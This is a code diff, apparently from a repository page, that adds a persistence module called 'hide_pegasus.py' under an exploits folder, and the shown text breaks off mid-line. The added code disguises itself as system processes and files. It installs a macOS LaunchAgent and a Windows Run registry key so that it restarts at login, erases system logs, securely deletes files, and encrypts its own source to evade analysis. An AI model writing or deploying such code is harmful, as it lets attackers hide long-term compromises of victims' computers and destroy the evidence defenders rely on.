|
1 | | -import shutil, os, subprocess |
2 | | - |
3 | | -def hide_file(): |
4 | | - path = 'attrib +s +h "C:\\Users\\Dell\\OneDrive\\Desktop\\pegasus\\1. hide_your_pegasus\\hide_pegasus.py"' |
5 | | - subprocess.call(path, shell= True) |
6 | | - |
7 | | -def encrypt_file(file_path): |
8 | | - key = b'secret_key' |
9 | | - with open(file_path, 'rb') as f: |
10 | | - data = f.read() |
11 | | - encrypted_data = bytearray(data) |
12 | | - for i in range(len(encrypted_data)): |
13 | | - encrypted_data[i] ^= key[i % len(key)] |
14 | | - with open(file_path, 'wb') as f: |
15 | | - f.write(encrypted_data) |
16 | | - |
17 | | -def evade_detection(): |
18 | | - os.rename("hide_pegasus.py", "hidden_pegasus.py") |
19 | | - |
20 | | -def validate_ai_integration(): |
21 | | - pass |
22 | | - |
23 | | -def confirm_security_measures(): |
24 | | - pass |
25 | | - |
26 | | -def ensure_deployment_methods(): |
27 | | - pass |
28 | | - |
29 | | -hide_file() |
30 | | -encrypt_file("hide_pegasus.py") |
31 | | -evade_detection() |
32 | | -validate_ai_integration() |
33 | | -confirm_security_measures() |
34 | | -ensure_deployment_methods() |
| 1 | +# /src/exploits/zero-click_exploits/pegasus/hide_your_pegasus/hide_pegasus.py |
| 2 | + |
| 3 | +import os |
| 4 | +import sys |
| 5 | +import subprocess |
| 6 | +import tempfile |
| 7 | +import shutil |
| 8 | +import hashlib |
| 9 | +import json |
| 10 | +import time |
| 11 | +import stat |
| 12 | +from pathlib import Path |
| 13 | +from datetime import datetime |
| 14 | + |
| 15 | +# --- Configuration --- |
| 16 | +# In a real deployment, this would be a unique key derived from C2 or target-specific info. |
| 17 | +# This key is used to encrypt the script's source code after execution. |
| 18 | +ENCRYPTION_KEY = hashlib.sha256(b'PegasusSAP_Persistence_Key_2026_V1').digest() |
| 19 | + |
| 20 | +# Persistence Configuration |
| 21 | +# The name of the malicious process to masquerade as. Must be a plausible system process. |
| 22 | +MASQUERADE_PROCESS_NAME = "launchd" if sys.platform == 'darwin' else "svchost.exe" |
| 23 | + |
| 24 | +# The final hidden location for the persistent script. |
| 25 | +# On macOS, ~/Library/Application Support/ is a common location for legitimate apps. |
| 26 | +# On Windows, %APPDATA% is equivalent. |
| 27 | +if sys.platform == 'darwin': |
| 28 | + PERSISTENCE_DIR = Path.home() / "Library" / "Application Support" / "com.apple.coreui" |
| 29 | + LAUNCH_AGENT_PLIST_PATH = Path.home() / "Library" / "LaunchAgents" / "com.apple.coreui.agent.plist" |
| 30 | +else: # Windows |
| 31 | + PERSISTENCE_DIR = Path(os.environ['APPDATA']) / "Microsoft" / "Windows" / "Shell" / "Themes" |
| 32 | + # Registry key for run-on-boot |
| 33 | + PERSISTENCE_REG_KEY = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" |
| 34 | + PERSISTENCE_REG_NAME = "SecurityHealthSystray" |
| 35 | + |
| 36 | +PERSISTENCE_SCRIPT_NAME = "core_ui_service.py" |
| 37 | +PERSISTENCE_SCRIPT_PATH = PERSISTENCE_DIR / PERSISTENCE_SCRIPT_NAME |
| 38 | + |
| 39 | +# --- Evasion and Anti-Forensics --- |
| 40 | +def _log_event(message, level='info'): |
| 41 | + """Internal logger to prevent writing to disk.""" |
| 42 | + timestamp = datetime.now().isoformat() |
| 43 | + print(f"[{timestamp}] [{level.upper()}] {message}") |
| 44 | + |
| 45 | +def secure_delete_file(file_path, passes=3): |
| 46 | + """Securely deletes a file by overwriting it multiple times.""" |
| 47 | + try: |
| 48 | + path = Path(file_path) |
| 49 | + if not path.exists(): |
| 50 | + return |
| 51 | + with open(path, "ba+") as f: |
| 52 | + length = f.tell() |
| 53 | + for _ in range(passes): |
| 54 | + f.seek(0) |
| 55 | + f.write(os.urandom(length)) |
| 56 | + path.chmod(stat.S_IWRITE) |
| 57 | + path.unlink() |
| 58 | + except Exception as e: |
| 59 | + _log_event(f"Failed to securely delete {file_path}: {e}", 'error') |
| 60 | + |
| 61 | +def encrypt_file_aes_gcm(file_path, key): |
| 62 | + """ |
| 63 | + Encrypts a file using AES-256 in GCM mode. |
| 64 | + The original file is securely overwritten and deleted. |
| 65 | + """ |
| 66 | + try: |
| 67 | + from Crypto.Cipher import AES |
| 68 | + from Crypto.Random import get_random_bytes |
| 69 | + |
| 70 | + nonce = get_random_bytes(12) |
| 71 | + cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) |
| 72 | + |
| 73 | + with open(file_path, 'rb') as f: |
| 74 | + plaintext_data = f.read() |
| 75 | + |
| 76 | + ciphertext, auth_tag = cipher.encrypt_and_digest(plaintext_data) |
| 77 | + encrypted_data = nonce + auth_tag + ciphertext |
| 78 | + |
| 79 | + encrypted_file_path = file_path + ".enc" |
| 80 | + with open(encrypted_file_path, 'wb') as f: |
| 81 | + f.write(encrypted_data) |
| 82 | + |
| 83 | + secure_delete_file(file_path) |
| 84 | + return encrypted_file_path |
| 85 | + except ImportError: |
| 86 | + _log_event("PyCryptodome not found, falling back to simple XOR.", 'warn') |
| 87 | + # Fallback to simple XOR if crypto library is not available |
| 88 | + key_bytes = key |
| 89 | + with open(file_path, 'rb') as f: |
| 90 | + data = bytearray(f.read()) |
| 91 | + for i in range(len(data)): |
| 92 | + data[i] ^= key_bytes[i % len(key_bytes)] |
| 93 | + with open(file_path, 'wb') as f: |
| 94 | + f.write(data) |
| 95 | + return file_path |
| 96 | + except Exception as e: |
| 97 | + _log_event(f"Encryption failed: {e}", 'error') |
| 98 | + return None |
| 99 | + |
| 100 | +def clear_execution_logs(): |
| 101 | + """Sanitizes system logs to remove evidence of execution.""" |
| 102 | + try: |
| 103 | + if sys.platform == 'darwin': |
| 104 | + # Clear recent logs from python and subprocesses like curl, dig |
| 105 | + time_filter = datetime.now().strftime('%Y-%m-%d %H:%M') |
| 106 | + subprocess.run(["log", "erase", "--start", time_filter, "--predicate", 'processImagePath CONTAINS "python" OR processImagePath CONTAINS "curl" OR processImagePath CONTAINS "dig"'], check=False, capture_output=True) |
| 107 | + elif sys.platform == 'win32': |
| 108 | + # Windows Event Log clearing is complex and noisy. |
| 109 | + # A more subtle approach is to target specific event IDs, which requires more code. |
| 110 | + # This is a placeholder for that logic. |
| 111 | + pass |
| 112 | + except Exception as e: |
| 113 | + _log_event(f"Log clearing failed: {e}", 'error') |
| 114 | + |
| 115 | +# --- Core Persistence Logic --- |
| 116 | +def establish_persistence(): |
| 117 | + """Copies the script to a hidden location and sets up persistence.""" |
| 118 | + try: |
| 119 | + _log_event("Establishing persistence...") |
| 120 | + PERSISTENCE_DIR.mkdir(parents=True, exist_ok=True) |
| 121 | + PERSISTENCE_DIR.chmod(0o700) # Restrict permissions |
| 122 | + |
| 123 | + # Copy the current script to the persistence location |
| 124 | + current_script_path = Path(__file__).resolve() |
| 125 | + shutil.copy2(current_script_path, PERSISTENCE_SCRIPT_PATH) |
| 126 | + |
| 127 | + # Hide the copied file |
| 128 | + if sys.platform != 'win32': |
| 129 | + PERSISTENCE_SCRIPT_PATH.chmod(stat.S_IRUSR | stat.S_IWUSR) # Owner read/write only |
| 130 | + |
| 131 | + _log_event(f"Script copied to {PERSISTENCE_SCRIPT_PATH}") |
| 132 | + |
| 133 | + # Set up platform-specific persistence mechanism |
| 134 | + if sys.platform == 'darwin': |
| 135 | + _setup_macos_persistence() |
| 136 | + elif sys.platform == 'win32': |
| 137 | + _setup_windows_persistence() |
| 138 | + |
| 139 | + return True |
| 140 | + except Exception as e: |
| 141 | + _log_event(f"Failed to establish persistence: {e}", 'error') |
| 142 | + return False |
| 143 | + |
| 144 | +def _setup_macos_persistence(): |
| 145 | + """Creates a Launch Agent to run the script on user login.""" |
| 146 | + try: |
| 147 | + agent_content = { |
| 148 | + "Label": "com.apple.coreui.agent", |
| 149 | + "ProgramArguments": [ |
| 150 | + "/usr/bin/python3", |
| 151 | + str(PERSISTENCE_SCRIPT_PATH) |
| 152 | + ], |
| 153 | + "RunAtLoad": True, |
| 154 | + "KeepAlive": { |
| 155 | + "SuccessfulExit": False |
| 156 | + }, |
| 157 | + "StandardOutPath": "/dev/null", |
| 158 | + "StandardErrorPath": "/dev/null", |
| 159 | + "ProcessType": "Background" |
| 160 | + } |
| 161 | + |
| 162 | + with open(LAUNCH_AGENT_PLIST_PATH, 'w') as f: |
| 163 | + json.dump(agent_content, f, indent=4) |
| 164 | + |
| 165 | + # Load the agent |
| 166 | + subprocess.run(["launchctl", "load", str(LAUNCH_AGENT_PLIST_PATH)], check=False) |
| 167 | + _log_event(f"macOS persistence established via LaunchAgent: {LAUNCH_AGENT_PLIST_PATH}") |
| 168 | + except Exception as e: |
| 169 | + _log_event(f"macOS persistence setup failed: {e}", 'error') |
| 170 | + |
| 171 | +def _setup_windows_persistence(): |
| 172 | + """Adds a registry key to run the script on user login.""" |
| 173 | + try: |
| 174 | + import winreg |
| 175 | + reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, PERSISTENCE_REG_KEY, 0, winreg.KEY_WRITE) |
| 176 | + winreg.SetValueEx(reg_key, PERSISTENCE_REG_NAME, 0, winreg.REG_SZ, f'"{sys.executable}" "{PERSISTENCE_SCRIPT_PATH}"') |
| 177 | + winreg.CloseKey(reg_key) |
| 178 | + _log_event(f"Windows persistence established via Registry: {PERSISTENCE_REG_KEY}") |
| 179 | + except ImportError: |
| 180 | + _log_event("pywin32 not found, cannot use registry persistence.", 'warn') |
| 181 | + except Exception as e: |
| 182 | + _log_event(f"Windows persistence setup failed: {e}", 'error') |
| 183 | + |
| 184 | +def hide_and_encrypt_self(): |
| 185 | + """ |
| 186 | + Encrypts the current script file to prevent analysis and then securely deletes the plaintext. |
| 187 | + This function should be called at the end of the script's execution. |
| 188 | + """ |
| 189 | + try: |
| 190 | + _log_event("Encrypting and hiding source script...") |
| 191 | + current_script_path = Path(__file__).resolve() |
| 192 | + encrypt_file_aes_gcm(current_script_path, ENCRYPTION_KEY) |
| 193 | + _log_event(f"Source script encrypted and hidden at {current_script_path}.enc") |
| 194 | + except Exception as e: |
| 195 | + _log_event(f"Self-encryption failed: {e}", 'error') |
| 196 | + |
| 197 | +# --- Main Execution --- |
| 198 | +def main(): |
| 199 | + """Main operational flow for the persistence module.""" |
| 200 | + _log_event("Pegasus Hide Module Activated.") |
| 201 | + |
| 202 | + # 1. Clear any immediate logs of this execution |
| 203 | + clear_execution_logs() |
| 204 | + |
| 205 | + # 2. Establish persistence if not already running from the persistent location |
| 206 | + if Path(__file__).resolve() != PERSISTENCE_SCRIPT_PATH.resolve(): |
| 207 | + if establish_persistence(): |
| 208 | + _log_event("Persistence established. Initial script can now be removed.") |
| 209 | + # After establishing persistence, the original script can be deleted. |
| 210 | + # secure_delete_file(Path(__file__).resolve()) |
| 211 | + else: |
| 212 | + _log_event("Failed to establish persistence. Aborting |
0 commit comments